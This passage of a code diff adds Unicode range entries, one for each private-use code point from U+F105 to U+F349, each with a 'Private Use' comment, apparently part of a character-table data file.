+ ["\uF105", "\uF105"], /* Private Use */
+ ["\uF106", "\uF106"], /* Private Use */
+ ["\uF107", "\uF107"], /* Private Use */
+ ["\uF108", "\uF108"], /* Private Use */
+ ["\uF109", "\uF109"], /* Private Use */
+ ["\uF10A", "\uF10A"], /* Private Use */
+ ["\uF10B", "\uF10B"], /* Private Use */
+ ["\uF10C", "\uF10C"], /* Private Use */
+ ["\uF10D", "\uF10D"], /* Private Use */
+ ["\uF10E", "\uF10E"], /* Private Use */
+ ["\uF10F", "\uF10F"], /* Private Use */
+ ["\uF110", "\uF110"], /* Private Use */
+ ["\uF111", "\uF111"], /* Private Use */
+ ["\uF112", "\uF112"], /* Private Use */
+ ["\uF113", "\uF113"], /* Private Use */
+ ["\uF114", "\uF114"], /* Private Use */
+ ["\uF115", "\uF115"], /* Private Use */
+ ["\uF116", "\uF116"], /* Private Use */
+ ["\uF117", "\uF117"], /* Private Use */
+ ["\uF118", "\uF118"], /* Private Use */
+ ["\uF119", "\uF119"], /* Private Use */
+ ["\uF11A", "\uF11A"], /* Private Use */
+ ["\uF11B", "\uF11B"], /* Private Use */
+ ["\uF11C", "\uF11C"], /* Private Use */
+ ["\uF11D", "\uF11D"], /* Private Use */
+ ["\uF11E", "\uF11E"], /* Private Use */
+ ["\uF11F", "\uF11F"], /* Private Use */
+ ["\uF120", "\uF120"], /* Private Use */
+ ["\uF121", "\uF121"], /* Private Use */
+ ["\uF122", "\uF122"], /* Private Use */
+ ["\uF123", "\uF123"], /* Private Use */
+ ["\uF124", "\uF124"], /* Private Use */
+ ["\uF125", "\uF125"], /* Private Use */
+ ["\uF126", "\uF126"], /* Private Use */
+ ["\uF127", "\uF127"], /* Private Use */
+ ["\uF128", "\uF128"], /* Private Use */
+ ["\uF129", "\uF129"], /* Private Use */
+ ["\uF12A", "\uF12A"], /* Private Use */
+ ["\uF12B", "\uF12B"], /* Private Use */
+ ["\uF12C", "\uF12C"], /* Private Use */
+ ["\uF12D", "\uF12D"], /* Private Use */
+ ["\uF12E", "\uF12E"], /* Private Use */
+ ["\uF12F", "\uF12F"], /* Private Use */
+ ["\uF130", "\uF130"], /* Private Use */
+ ["\uF131", "\uF131"], /* Private Use */
+ ["\uF132", "\uF132"], /* Private Use */
+ ["\uF133", "\uF133"], /* Private Use */
+ ["\uF134", "\uF134"], /* Private Use */
+ ["\uF135", "\uF135"], /* Private Use */
+ ["\uF136", "\uF136"], /* Private Use */
+ ["\uF137", "\uF137"], /* Private Use */
+ ["\uF138", "\uF138"], /* Private Use */
+ ["\uF139", "\uF139"], /* Private Use */
+ ["\uF13A", "\uF13A"], /* Private Use */
+ ["\uF13B", "\uF13B"], /* Private Use */
+ ["\uF13C", "\uF13C"], /* Private Use */
+ ["\uF13D", "\uF13D"], /* Private Use */
+ ["\uF13E", "\uF13E"], /* Private Use */
+ ["\uF13F", "\uF13F"], /* Private Use */
+ ["\uF140", "\uF140"], /* Private Use */
+ ["\uF141", "\uF141"], /* Private Use */
+ ["\uF142", "\uF142"], /* Private Use */
+ ["\uF143", "\uF143"], /* Private Use */
+ ["\uF144", "\uF144"], /* Private Use */
+ ["\uF145", "\uF145"], /* Private Use */
+ ["\uF146", "\uF146"], /* Private Use */
+ ["\uF147", "\uF147"], /* Private Use */
+ ["\uF148", "\uF148"], /* Private Use */
+ ["\uF149", "\uF149"], /* Private Use */
+ ["\uF14A", "\uF14A"], /* Private Use */
+ ["\uF14B", "\uF14B"], /* Private Use */
+ ["\uF14C", "\uF14C"], /* Private Use */
+ ["\uF14D", "\uF14D"], /* Private Use */
+ ["\uF14E", "\uF14E"], /* Private Use */
+ ["\uF14F", "\uF14F"], /* Private Use */
+ ["\uF150", "\uF150"], /* Private Use */
+ ["\uF151", "\uF151"], /* Private Use */
+ ["\uF152", "\uF152"], /* Private Use */
+ ["\uF153", "\uF153"], /* Private Use */
+ ["\uF154", "\uF154"], /* Private Use */
+ ["\uF155", "\uF155"], /* Private Use */
+ ["\uF156", "\uF156"], /* Private Use */
+ ["\uF157", "\uF157"], /* Private Use */
+ ["\uF158", "\uF158"], /* Private Use */
+ ["\uF159", "\uF159"], /* Private Use */
+ ["\uF15A", "\uF15A"], /* Private Use */
+ ["\uF15B", "\uF15B"], /* Private Use */
+ ["\uF15C", "\uF15C"], /* Private Use */
+ ["\uF15D", "\uF15D"], /* Private Use */
+ ["\uF15E", "\uF15E"], /* Private Use */
+ ["\uF15F", "\uF15F"], /* Private Use */
+ ["\uF160", "\uF160"], /* Private Use */
+ ["\uF161", "\uF161"], /* Private Use */
+ ["\uF162", "\uF162"], /* Private Use */
+ ["\uF163", "\uF163"], /* Private Use */
+ ["\uF164", "\uF164"], /* Private Use */
+ ["\uF165", "\uF165"], /* Private Use */
+ ["\uF166", "\uF166"], /* Private Use */
+ ["\uF167", "\uF167"], /* Private Use */
+ ["\uF168", "\uF168"], /* Private Use */
+ ["\uF169", "\uF169"], /* Private Use */
+ ["\uF16A", "\uF16A"], /* Private Use */
+ ["\uF16B", "\uF16B"], /* Private Use */
+ ["\uF16C", "\uF16C"], /* Private Use */
+ ["\uF16D", "\uF16D"], /* Private Use */
+ ["\uF16E", "\uF16E"], /* Private Use */
+ ["\uF16F", "\uF16F"], /* Private Use */
+ ["\uF170", "\uF170"], /* Private Use */
+ ["\uF171", "\uF171"], /* Private Use */
+ ["\uF172", "\uF172"], /* Private Use */
+ ["\uF173", "\uF173"], /* Private Use */
+ ["\uF174", "\uF174"], /* Private Use */
+ ["\uF175", "\uF175"], /* Private Use */
+ ["\uF176", "\uF176"], /* Private Use */
+ ["\uF177", "\uF177"], /* Private Use */
+ ["\uF178", "\uF178"], /* Private Use */
+ ["\uF179", "\uF179"], /* Private Use */
+ ["\uF17A", "\uF17A"], /* Private Use */
+ ["\uF17B", "\uF17B"], /* Private Use */
+ ["\uF17C", "\uF17C"], /* Private Use */
+ ["\uF17D", "\uF17D"], /* Private Use */
+ ["\uF17E", "\uF17E"], /* Private Use */
+ ["\uF17F", "\uF17F"], /* Private Use */
+ ["\uF180", "\uF180"], /* Private Use */
+ ["\uF181", "\uF181"], /* Private Use */
+ ["\uF182", "\uF182"], /* Private Use */
+ ["\uF183", "\uF183"], /* Private Use */
+ ["\uF184", "\uF184"], /* Private Use */
+ ["\uF185", "\uF185"], /* Private Use */
+ ["\uF186", "\uF186"], /* Private Use */
+ ["\uF187", "\uF187"], /* Private Use */
+ ["\uF188", "\uF188"], /* Private Use */
+ ["\uF189", "\uF189"], /* Private Use */
+ ["\uF18A", "\uF18A"], /* Private Use */
+ ["\uF18B", "\uF18B"], /* Private Use */
+ ["\uF18C", "\uF18C"], /* Private Use */
+ ["\uF18D", "\uF18D"], /* Private Use */
+ ["\uF18E", "\uF18E"], /* Private Use */
+ ["\uF18F", "\uF18F"], /* Private Use */
+ ["\uF190", "\uF190"], /* Private Use */
+ ["\uF191", "\uF191"], /* Private Use */
+ ["\uF192", "\uF192"], /* Private Use */
+ ["\uF193", "\uF193"], /* Private Use */
+ ["\uF194", "\uF194"], /* Private Use */
+ ["\uF195", "\uF195"], /* Private Use */
+ ["\uF196", "\uF196"], /* Private Use */
+ ["\uF197", "\uF197"], /* Private Use */
+ ["\uF198", "\uF198"], /* Private Use */
+ ["\uF199", "\uF199"], /* Private Use */
+ ["\uF19A", "\uF19A"], /* Private Use */
+ ["\uF19B", "\uF19B"], /* Private Use */
+ ["\uF19C", "\uF19C"], /* Private Use */
+ ["\uF19D", "\uF19D"], /* Private Use */
+ ["\uF19E", "\uF19E"], /* Private Use */
+ ["\uF19F", "\uF19F"], /* Private Use */
+ ["\uF1A0", "\uF1A0"], /* Private Use */
+ ["\uF1A1", "\uF1A1"], /* Private Use */
+ ["\uF1A2", "\uF1A2"], /* Private Use */
+ ["\uF1A3", "\uF1A3"], /* Private Use */
+ ["\uF1A4", "\uF1A4"], /* Private Use */
+ ["\uF1A5", "\uF1A5"], /* Private Use */
+ ["\uF1A6", "\uF1A6"], /* Private Use */
+ ["\uF1A7", "\uF1A7"], /* Private Use */
+ ["\uF1A8", "\uF1A8"], /* Private Use */
+ ["\uF1A9", "\uF1A9"], /* Private Use */
+ ["\uF1AA", "\uF1AA"], /* Private Use */
+ ["\uF1AB", "\uF1AB"], /* Private Use */
+ ["\uF1AC", "\uF1AC"], /* Private Use */
+ ["\uF1AD", "\uF1AD"], /* Private Use */
+ ["\uF1AE", "\uF1AE"], /* Private Use */
+ ["\uF1AF", "\uF1AF"], /* Private Use */
+ ["\uF1B0", "\uF1B0"], /* Private Use */
+ ["\uF1B1", "\uF1B1"], /* Private Use */
+ ["\uF1B2", "\uF1B2"], /* Private Use */
+ ["\uF1B3", "\uF1B3"], /* Private Use */
+ ["\uF1B4", "\uF1B4"], /* Private Use */
+ ["\uF1B5", "\uF1B5"], /* Private Use */
+ ["\uF1B6", "\uF1B6"], /* Private Use */
+ ["\uF1B7", "\uF1B7"], /* Private Use */
+ ["\uF1B8", "\uF1B8"], /* Private Use */
+ ["\uF1B9", "\uF1B9"], /* Private Use */
+ ["\uF1BA", "\uF1BA"], /* Private Use */
+ ["\uF1BB", "\uF1BB"], /* Private Use */
+ ["\uF1BC", "\uF1BC"], /* Private Use */
+ ["\uF1BD", "\uF1BD"], /* Private Use */
+ ["\uF1BE", "\uF1BE"], /* Private Use */
+ ["\uF1BF", "\uF1BF"], /* Private Use */
+ ["\uF1C0", "\uF1C0"], /* Private Use */
+ ["\uF1C1", "\uF1C1"], /* Private Use */
+ ["\uF1C2", "\uF1C2"], /* Private Use */
+ ["\uF1C3", "\uF1C3"], /* Private Use */
+ ["\uF1C4", "\uF1C4"], /* Private Use */
+ ["\uF1C5", "\uF1C5"], /* Private Use */
+ ["\uF1C6", "\uF1C6"], /* Private Use */
+ ["\uF1C7", "\uF1C7"], /* Private Use */
+ ["\uF1C8", "\uF1C8"], /* Private Use */
+ ["\uF1C9", "\uF1C9"], /* Private Use */
+ ["\uF1CA", "\uF1CA"], /* Private Use */
+ ["\uF1CB", "\uF1CB"], /* Private Use */
+ ["\uF1CC", "\uF1CC"], /* Private Use */
+ ["\uF1CD", "\uF1CD"], /* Private Use */
+ ["\uF1CE", "\uF1CE"], /* Private Use */
+ ["\uF1CF", "\uF1CF"], /* Private Use */
+ ["\uF1D0", "\uF1D0"], /* Private Use */
+ ["\uF1D1", "\uF1D1"], /* Private Use */
+ ["\uF1D2", "\uF1D2"], /* Private Use */
+ ["\uF1D3", "\uF1D3"], /* Private Use */
+ ["\uF1D4", "\uF1D4"], /* Private Use */
+ ["\uF1D5", "\uF1D5"], /* Private Use */
+ ["\uF1D6", "\uF1D6"], /* Private Use */
+ ["\uF1D7", "\uF1D7"], /* Private Use */
+ ["\uF1D8", "\uF1D8"], /* Private Use */
+ ["\uF1D9", "\uF1D9"], /* Private Use */
+ ["\uF1DA", "\uF1DA"], /* Private Use */
+ ["\uF1DB", "\uF1DB"], /* Private Use */
+ ["\uF1DC", "\uF1DC"], /* Private Use */
+ ["\uF1DD", "\uF1DD"], /* Private Use */
+ ["\uF1DE", "\uF1DE"], /* Private Use */
+ ["\uF1DF", "\uF1DF"], /* Private Use */
+ ["\uF1E0", "\uF1E0"], /* Private Use */
+ ["\uF1E1", "\uF1E1"], /* Private Use */
+ ["\uF1E2", "\uF1E2"], /* Private Use */
+ ["\uF1E3", "\uF1E3"], /* Private Use */
+ ["\uF1E4", "\uF1E4"], /* Private Use */
+ ["\uF1E5", "\uF1E5"], /* Private Use */
+ ["\uF1E6", "\uF1E6"], /* Private Use */
+ ["\uF1E7", "\uF1E7"], /* Private Use */
+ ["\uF1E8", "\uF1E8"], /* Private Use */
+ ["\uF1E9", "\uF1E9"], /* Private Use */
+ ["\uF1EA", "\uF1EA"], /* Private Use */
+ ["\uF1EB", "\uF1EB"], /* Private Use */
+ ["\uF1EC", "\uF1EC"], /* Private Use */
+ ["\uF1ED", "\uF1ED"], /* Private Use */
+ ["\uF1EE", "\uF1EE"], /* Private Use */
+ ["\uF1EF", "\uF1EF"], /* Private Use */
+ ["\uF1F0", "\uF1F0"], /* Private Use */
+ ["\uF1F1", "\uF1F1"], /* Private Use */
+ ["\uF1F2", "\uF1F2"], /* Private Use */
+ ["\uF1F3", "\uF1F3"], /* Private Use */
+ ["\uF1F4", "\uF1F4"], /* Private Use */
+ ["\uF1F5", "\uF1F5"], /* Private Use */
+ ["\uF1F6", "\uF1F6"], /* Private Use */
+ ["\uF1F7", "\uF1F7"], /* Private Use */
+ ["\uF1F8", "\uF1F8"], /* Private Use */
+ ["\uF1F9", "\uF1F9"], /* Private Use */
+ ["\uF1FA", "\uF1FA"], /* Private Use */
+ ["\uF1FB", "\uF1FB"], /* Private Use */
+ ["\uF1FC", "\uF1FC"], /* Private Use */
+ ["\uF1FD", "\uF1FD"], /* Private Use */
+ ["\uF1FE", "\uF1FE"], /* Private Use */
+ ["\uF1FF", "\uF1FF"], /* Private Use */
+ ["\uF200", "\uF200"], /* Private Use */
+ ["\uF201", "\uF201"], /* Private Use */
+ ["\uF202", "\uF202"], /* Private Use */
+ ["\uF203", "\uF203"], /* Private Use */
+ ["\uF204", "\uF204"], /* Private Use */
+ ["\uF205", "\uF205"], /* Private Use */
+ ["\uF206", "\uF206"], /* Private Use */
+ ["\uF207", "\uF207"], /* Private Use */
+ ["\uF208", "\uF208"], /* Private Use */
+ ["\uF209", "\uF209"], /* Private Use */
+ ["\uF20A", "\uF20A"], /* Private Use */
+ ["\uF20B", "\uF20B"], /* Private Use */
+ ["\uF20C", "\uF20C"], /* Private Use */
+ ["\uF20D", "\uF20D"], /* Private Use */
+ ["\uF20E", "\uF20E"], /* Private Use */
+ ["\uF20F", "\uF20F"], /* Private Use */
+ ["\uF210", "\uF210"], /* Private Use */
+ ["\uF211", "\uF211"], /* Private Use */
+ ["\uF212", "\uF212"], /* Private Use */
+ ["\uF213", "\uF213"], /* Private Use */
+ ["\uF214", "\uF214"], /* Private Use */
+ ["\uF215", "\uF215"], /* Private Use */
+ ["\uF216", "\uF216"], /* Private Use */
+ ["\uF217", "\uF217"], /* Private Use */
+ ["\uF218", "\uF218"], /* Private Use */
+ ["\uF219", "\uF219"], /* Private Use */
+ ["\uF21A", "\uF21A"], /* Private Use */
+ ["\uF21B", "\uF21B"], /* Private Use */
+ ["\uF21C", "\uF21C"], /* Private Use */
+ ["\uF21D", "\uF21D"], /* Private Use */
+ ["\uF21E", "\uF21E"], /* Private Use */
+ ["\uF21F", "\uF21F"], /* Private Use */
+ ["\uF220", "\uF220"], /* Private Use */
+ ["\uF221", "\uF221"], /* Private Use */
+ ["\uF222", "\uF222"], /* Private Use */
+ ["\uF223", "\uF223"], /* Private Use */
+ ["\uF224", "\uF224"], /* Private Use */
+ ["\uF225", "\uF225"], /* Private Use */
+ ["\uF226", "\uF226"], /* Private Use */
+ ["\uF227", "\uF227"], /* Private Use */
+ ["\uF228", "\uF228"], /* Private Use */
+ ["\uF229", "\uF229"], /* Private Use */
+ ["\uF22A", "\uF22A"], /* Private Use */
+ ["\uF22B", "\uF22B"], /* Private Use */
+ ["\uF22C", "\uF22C"], /* Private Use */
+ ["\uF22D", "\uF22D"], /* Private Use */
+ ["\uF22E", "\uF22E"], /* Private Use */
+ ["\uF22F", "\uF22F"], /* Private Use */
+ ["\uF230", "\uF230"], /* Private Use */
+ ["\uF231", "\uF231"], /* Private Use */
+ ["\uF232", "\uF232"], /* Private Use */
+ ["\uF233", "\uF233"], /* Private Use */
+ ["\uF234", "\uF234"], /* Private Use */
+ ["\uF235", "\uF235"], /* Private Use */
+ ["\uF236", "\uF236"], /* Private Use */
+ ["\uF237", "\uF237"], /* Private Use */
+ ["\uF238", "\uF238"], /* Private Use */
+ ["\uF239", "\uF239"], /* Private Use */
+ ["\uF23A", "\uF23A"], /* Private Use */
+ ["\uF23B", "\uF23B"], /* Private Use */
+ ["\uF23C", "\uF23C"], /* Private Use */
+ ["\uF23D", "\uF23D"], /* Private Use */
+ ["\uF23E", "\uF23E"], /* Private Use */
+ ["\uF23F", "\uF23F"], /* Private Use */
+ ["\uF240", "\uF240"], /* Private Use */
+ ["\uF241", "\uF241"], /* Private Use */
+ ["\uF242", "\uF242"], /* Private Use */
+ ["\uF243", "\uF243"], /* Private Use */
+ ["\uF244", "\uF244"], /* Private Use */
+ ["\uF245", "\uF245"], /* Private Use */
+ ["\uF246", "\uF246"], /* Private Use */
+ ["\uF247", "\uF247"], /* Private Use */
+ ["\uF248", "\uF248"], /* Private Use */
+ ["\uF249", "\uF249"], /* Private Use */
+ ["\uF24A", "\uF24A"], /* Private Use */
+ ["\uF24B", "\uF24B"], /* Private Use */
+ ["\uF24C", "\uF24C"], /* Private Use */
+ ["\uF24D", "\uF24D"], /* Private Use */
+ ["\uF24E", "\uF24E"], /* Private Use */
+ ["\uF24F", "\uF24F"], /* Private Use */
+ ["\uF250", "\uF250"], /* Private Use */
+ ["\uF251", "\uF251"], /* Private Use */
+ ["\uF252", "\uF252"], /* Private Use */
+ ["\uF253", "\uF253"], /* Private Use */
+ ["\uF254", "\uF254"], /* Private Use */
+ ["\uF255", "\uF255"], /* Private Use */
+ ["\uF256", "\uF256"], /* Private Use */
+ ["\uF257", "\uF257"], /* Private Use */
+ ["\uF258", "\uF258"], /* Private Use */
+ ["\uF259", "\uF259"], /* Private Use */
+ ["\uF25A", "\uF25A"], /* Private Use */
+ ["\uF25B", "\uF25B"], /* Private Use */
+ ["\uF25C", "\uF25C"], /* Private Use */
+ ["\uF25D", "\uF25D"], /* Private Use */
+ ["\uF25E", "\uF25E"], /* Private Use */
+ ["\uF25F", "\uF25F"], /* Private Use */
+ ["\uF260", "\uF260"], /* Private Use */
+ ["\uF261", "\uF261"], /* Private Use */
+ ["\uF262", "\uF262"], /* Private Use */
+ ["\uF263", "\uF263"], /* Private Use */
+ ["\uF264", "\uF264"], /* Private Use */
+ ["\uF265", "\uF265"], /* Private Use */
+ ["\uF266", "\uF266"], /* Private Use */
+ ["\uF267", "\uF267"], /* Private Use */
+ ["\uF268", "\uF268"], /* Private Use */
+ ["\uF269", "\uF269"], /* Private Use */
+ ["\uF26A", "\uF26A"], /* Private Use */
+ ["\uF26B", "\uF26B"], /* Private Use */
+ ["\uF26C", "\uF26C"], /* Private Use */
+ ["\uF26D", "\uF26D"], /* Private Use */
+ ["\uF26E", "\uF26E"], /* Private Use */
+ ["\uF26F", "\uF26F"], /* Private Use */
+ ["\uF270", "\uF270"], /* Private Use */
+ ["\uF271", "\uF271"], /* Private Use */
+ ["\uF272", "\uF272"], /* Private Use */
+ ["\uF273", "\uF273"], /* Private Use */
+ ["\uF274", "\uF274"], /* Private Use */
+ ["\uF275", "\uF275"], /* Private Use */
+ ["\uF276", "\uF276"], /* Private Use */
+ ["\uF277", "\uF277"], /* Private Use */
+ ["\uF278", "\uF278"], /* Private Use */
+ ["\uF279", "\uF279"], /* Private Use */
+ ["\uF27A", "\uF27A"], /* Private Use */
+ ["\uF27B", "\uF27B"], /* Private Use */
+ ["\uF27C", "\uF27C"], /* Private Use */
+ ["\uF27D", "\uF27D"], /* Private Use */
+ ["\uF27E", "\uF27E"], /* Private Use */
+ ["\uF27F", "\uF27F"], /* Private Use */
+ ["\uF280", "\uF280"], /* Private Use */
+ ["\uF281", "\uF281"], /* Private Use */
+ ["\uF282", "\uF282"], /* Private Use */
+ ["\uF283", "\uF283"], /* Private Use */
+ ["\uF284", "\uF284"], /* Private Use */
+ ["\uF285", "\uF285"], /* Private Use */
+ ["\uF286", "\uF286"], /* Private Use */
+ ["\uF287", "\uF287"], /* Private Use */
+ ["\uF288", "\uF288"], /* Private Use */
+ ["\uF289", "\uF289"], /* Private Use */
+ ["\uF28A", "\uF28A"], /* Private Use */
+ ["\uF28B", "\uF28B"], /* Private Use */
+ ["\uF28C", "\uF28C"], /* Private Use */
+ ["\uF28D", "\uF28D"], /* Private Use */
+ ["\uF28E", "\uF28E"], /* Private Use */
+ ["\uF28F", "\uF28F"], /* Private Use */
+ ["\uF290", "\uF290"], /* Private Use */
+ ["\uF291", "\uF291"], /* Private Use */
+ ["\uF292", "\uF292"], /* Private Use */
+ ["\uF293", "\uF293"], /* Private Use */
+ ["\uF294", "\uF294"], /* Private Use */
+ ["\uF295", "\uF295"], /* Private Use */
+ ["\uF296", "\uF296"], /* Private Use */
+ ["\uF297", "\uF297"], /* Private Use */
+ ["\uF298", "\uF298"], /* Private Use */
+ ["\uF299", "\uF299"], /* Private Use */
+ ["\uF29A", "\uF29A"], /* Private Use */
+ ["\uF29B", "\uF29B"], /* Private Use */
+ ["\uF29C", "\uF29C"], /* Private Use */
+ ["\uF29D", "\uF29D"], /* Private Use */
+ ["\uF29E", "\uF29E"], /* Private Use */
+ ["\uF29F", "\uF29F"], /* Private Use */
+ ["\uF2A0", "\uF2A0"], /* Private Use */
+ ["\uF2A1", "\uF2A1"], /* Private Use */
+ ["\uF2A2", "\uF2A2"], /* Private Use */
+ ["\uF2A3", "\uF2A3"], /* Private Use */
+ ["\uF2A4", "\uF2A4"], /* Private Use */
+ ["\uF2A5", "\uF2A5"], /* Private Use */
+ ["\uF2A6", "\uF2A6"], /* Private Use */
+ ["\uF2A7", "\uF2A7"], /* Private Use */
+ ["\uF2A8", "\uF2A8"], /* Private Use */
+ ["\uF2A9", "\uF2A9"], /* Private Use */
+ ["\uF2AA", "\uF2AA"], /* Private Use */
+ ["\uF2AB", "\uF2AB"], /* Private Use */
+ ["\uF2AC", "\uF2AC"], /* Private Use */
+ ["\uF2AD", "\uF2AD"], /* Private Use */
+ ["\uF2AE", "\uF2AE"], /* Private Use */
+ ["\uF2AF", "\uF2AF"], /* Private Use */
+ ["\uF2B0", "\uF2B0"], /* Private Use */
+ ["\uF2B1", "\uF2B1"], /* Private Use */
+ ["\uF2B2", "\uF2B2"], /* Private Use */
+ ["\uF2B3", "\uF2B3"], /* Private Use */
+ ["\uF2B4", "\uF2B4"], /* Private Use */
+ ["\uF2B5", "\uF2B5"], /* Private Use */
+ ["\uF2B6", "\uF2B6"], /* Private Use */
+ ["\uF2B7", "\uF2B7"], /* Private Use */
+ ["\uF2B8", "\uF2B8"], /* Private Use */
+ ["\uF2B9", "\uF2B9"], /* Private Use */
+ ["\uF2BA", "\uF2BA"], /* Private Use */
+ ["\uF2BB", "\uF2BB"], /* Private Use */
+ ["\uF2BC", "\uF2BC"], /* Private Use */
+ ["\uF2BD", "\uF2BD"], /* Private Use */
+ ["\uF2BE", "\uF2BE"], /* Private Use */
+ ["\uF2BF", "\uF2BF"], /* Private Use */
+ ["\uF2C0", "\uF2C0"], /* Private Use */
+ ["\uF2C1", "\uF2C1"], /* Private Use */
+ ["\uF2C2", "\uF2C2"], /* Private Use */
+ ["\uF2C3", "\uF2C3"], /* Private Use */
+ ["\uF2C4", "\uF2C4"], /* Private Use */
+ ["\uF2C5", "\uF2C5"], /* Private Use */
+ ["\uF2C6", "\uF2C6"], /* Private Use */
+ ["\uF2C7", "\uF2C7"], /* Private Use */
+ ["\uF2C8", "\uF2C8"], /* Private Use */
+ ["\uF2C9", "\uF2C9"], /* Private Use */
+ ["\uF2CA", "\uF2CA"], /* Private Use */
+ ["\uF2CB", "\uF2CB"], /* Private Use */
+ ["\uF2CC", "\uF2CC"], /* Private Use */
+ ["\uF2CD", "\uF2CD"], /* Private Use */
+ ["\uF2CE", "\uF2CE"], /* Private Use */
+ ["\uF2CF", "\uF2CF"], /* Private Use */
+ ["\uF2D0", "\uF2D0"], /* Private Use */
+ ["\uF2D1", "\uF2D1"], /* Private Use */
+ ["\uF2D2", "\uF2D2"], /* Private Use */
+ ["\uF2D3", "\uF2D3"], /* Private Use */
+ ["\uF2D4", "\uF2D4"], /* Private Use */
+ ["\uF2D5", "\uF2D5"], /* Private Use */
+ ["\uF2D6", "\uF2D6"], /* Private Use */
+ ["\uF2D7", "\uF2D7"], /* Private Use */
+ ["\uF2D8", "\uF2D8"], /* Private Use */
+ ["\uF2D9", "\uF2D9"], /* Private Use */
+ ["\uF2DA", "\uF2DA"], /* Private Use */
+ ["\uF2DB", "\uF2DB"], /* Private Use */
+ ["\uF2DC", "\uF2DC"], /* Private Use */
+ ["\uF2DD", "\uF2DD"], /* Private Use */
+ ["\uF2DE", "\uF2DE"], /* Private Use */
+ ["\uF2DF", "\uF2DF"], /* Private Use */
+ ["\uF2E0", "\uF2E0"], /* Private Use */
+ ["\uF2E1", "\uF2E1"], /* Private Use */
+ ["\uF2E2", "\uF2E2"], /* Private Use */
+ ["\uF2E3", "\uF2E3"], /* Private Use */
+ ["\uF2E4", "\uF2E4"], /* Private Use */
+ ["\uF2E5", "\uF2E5"], /* Private Use */
+ ["\uF2E6", "\uF2E6"], /* Private Use */
+ ["\uF2E7", "\uF2E7"], /* Private Use */
+ ["\uF2E8", "\uF2E8"], /* Private Use */
+ ["\uF2E9", "\uF2E9"], /* Private Use */
+ ["\uF2EA", "\uF2EA"], /* Private Use */
+ ["\uF2EB", "\uF2EB"], /* Private Use */
+ ["\uF2EC", "\uF2EC"], /* Private Use */
+ ["\uF2ED", "\uF2ED"], /* Private Use */
+ ["\uF2EE", "\uF2EE"], /* Private Use */
+ ["\uF2EF", "\uF2EF"], /* Private Use */
+ ["\uF2F0", "\uF2F0"], /* Private Use */
+ ["\uF2F1", "\uF2F1"], /* Private Use */
+ ["\uF2F2", "\uF2F2"], /* Private Use */
+ ["\uF2F3", "\uF2F3"], /* Private Use */
+ ["\uF2F4", "\uF2F4"], /* Private Use */
+ ["\uF2F5", "\uF2F5"], /* Private Use */
+ ["\uF2F6", "\uF2F6"], /* Private Use */
+ ["\uF2F7", "\uF2F7"], /* Private Use */
+ ["\uF2F8", "\uF2F8"], /* Private Use */
+ ["\uF2F9", "\uF2F9"], /* Private Use */
+ ["\uF2FA", "\uF2FA"], /* Private Use */
+ ["\uF2FB", "\uF2FB"], /* Private Use */
+ ["\uF2FC", "\uF2FC"], /* Private Use */
+ ["\uF2FD", "\uF2FD"], /* Private Use */
+ ["\uF2FE", "\uF2FE"], /* Private Use */
+ ["\uF2FF", "\uF2FF"], /* Private Use */
+ ["\uF300", "\uF300"], /* Private Use */
+ ["\uF301", "\uF301"], /* Private Use */
+ ["\uF302", "\uF302"], /* Private Use */
+ ["\uF303", "\uF303"], /* Private Use */
+ ["\uF304", "\uF304"], /* Private Use */
+ ["\uF305", "\uF305"], /* Private Use */
+ ["\uF306", "\uF306"], /* Private Use */
+ ["\uF307", "\uF307"], /* Private Use */
+ ["\uF308", "\uF308"], /* Private Use */
+ ["\uF309", "\uF309"], /* Private Use */
+ ["\uF30A", "\uF30A"], /* Private Use */
+ ["\uF30B", "\uF30B"], /* Private Use */
+ ["\uF30C", "\uF30C"], /* Private Use */
+ ["\uF30D", "\uF30D"], /* Private Use */
+ ["\uF30E", "\uF30E"], /* Private Use */
+ ["\uF30F", "\uF30F"], /* Private Use */
+ ["\uF310", "\uF310"], /* Private Use */
+ ["\uF311", "\uF311"], /* Private Use */
+ ["\uF312", "\uF312"], /* Private Use */
+ ["\uF313", "\uF313"], /* Private Use */
+ ["\uF314", "\uF314"], /* Private Use */
+ ["\uF315", "\uF315"], /* Private Use */
+ ["\uF316", "\uF316"], /* Private Use */
+ ["\uF317", "\uF317"], /* Private Use */
+ ["\uF318", "\uF318"], /* Private Use */
+ ["\uF319", "\uF319"], /* Private Use */
+ ["\uF31A", "\uF31A"], /* Private Use */
+ ["\uF31B", "\uF31B"], /* Private Use */
+ ["\uF31C", "\uF31C"], /* Private Use */
+ ["\uF31D", "\uF31D"], /* Private Use */
+ ["\uF31E", "\uF31E"], /* Private Use */
+ ["\uF31F", "\uF31F"], /* Private Use */
+ ["\uF320", "\uF320"], /* Private Use */
+ ["\uF321", "\uF321"], /* Private Use */
+ ["\uF322", "\uF322"], /* Private Use */
+ ["\uF323", "\uF323"], /* Private Use */
+ ["\uF324", "\uF324"], /* Private Use */
+ ["\uF325", "\uF325"], /* Private Use */
+ ["\uF326", "\uF326"], /* Private Use */
+ ["\uF327", "\uF327"], /* Private Use */
+ ["\uF328", "\uF328"], /* Private Use */
+ ["\uF329", "\uF329"], /* Private Use */
+ ["\uF32A", "\uF32A"], /* Private Use */
+ ["\uF32B", "\uF32B"], /* Private Use */
+ ["\uF32C", "\uF32C"], /* Private Use */
+ ["\uF32D", "\uF32D"], /* Private Use */
+ ["\uF32E", "\uF32E"], /* Private Use */
+ ["\uF32F", "\uF32F"], /* Private Use */
+ ["\uF330", "\uF330"], /* Private Use */
+ ["\uF331", "\uF331"], /* Private Use */
+ ["\uF332", "\uF332"], /* Private Use */
+ ["\uF333", "\uF333"], /* Private Use */
+ ["\uF334", "\uF334"], /* Private Use */
+ ["\uF335", "\uF335"], /* Private Use */
+ ["\uF336", "\uF336"], /* Private Use */
+ ["\uF337", "\uF337"], /* Private Use */
+ ["\uF338", "\uF338"], /* Private Use */
+ ["\uF339", "\uF339"], /* Private Use */
+ ["\uF33A", "\uF33A"], /* Private Use */
+ ["\uF33B", "\uF33B"], /* Private Use */
+ ["\uF33C", "\uF33C"], /* Private Use */
+ ["\uF33D", "\uF33D"], /* Private Use */
+ ["\uF33E", "\uF33E"], /* Private Use */
+ ["\uF33F", "\uF33F"], /* Private Use */
+ ["\uF340", "\uF340"], /* Private Use */
+ ["\uF341", "\uF341"], /* Private Use */
+ ["\uF342", "\uF342"], /* Private Use */
+ ["\uF343", "\uF343"], /* Private Use */
+ ["\uF344", "\uF344"], /* Private Use */
+ ["\uF345", "\uF345"], /* Private Use */
+ ["\uF346", "\uF346"], /* Private Use */
+ ["\uF347", "\uF347"], /* Private Use */
+ ["\uF348", "\uF348"], /* Private Use */
+ ["\uF349", "\uF349"], /* Private Use */
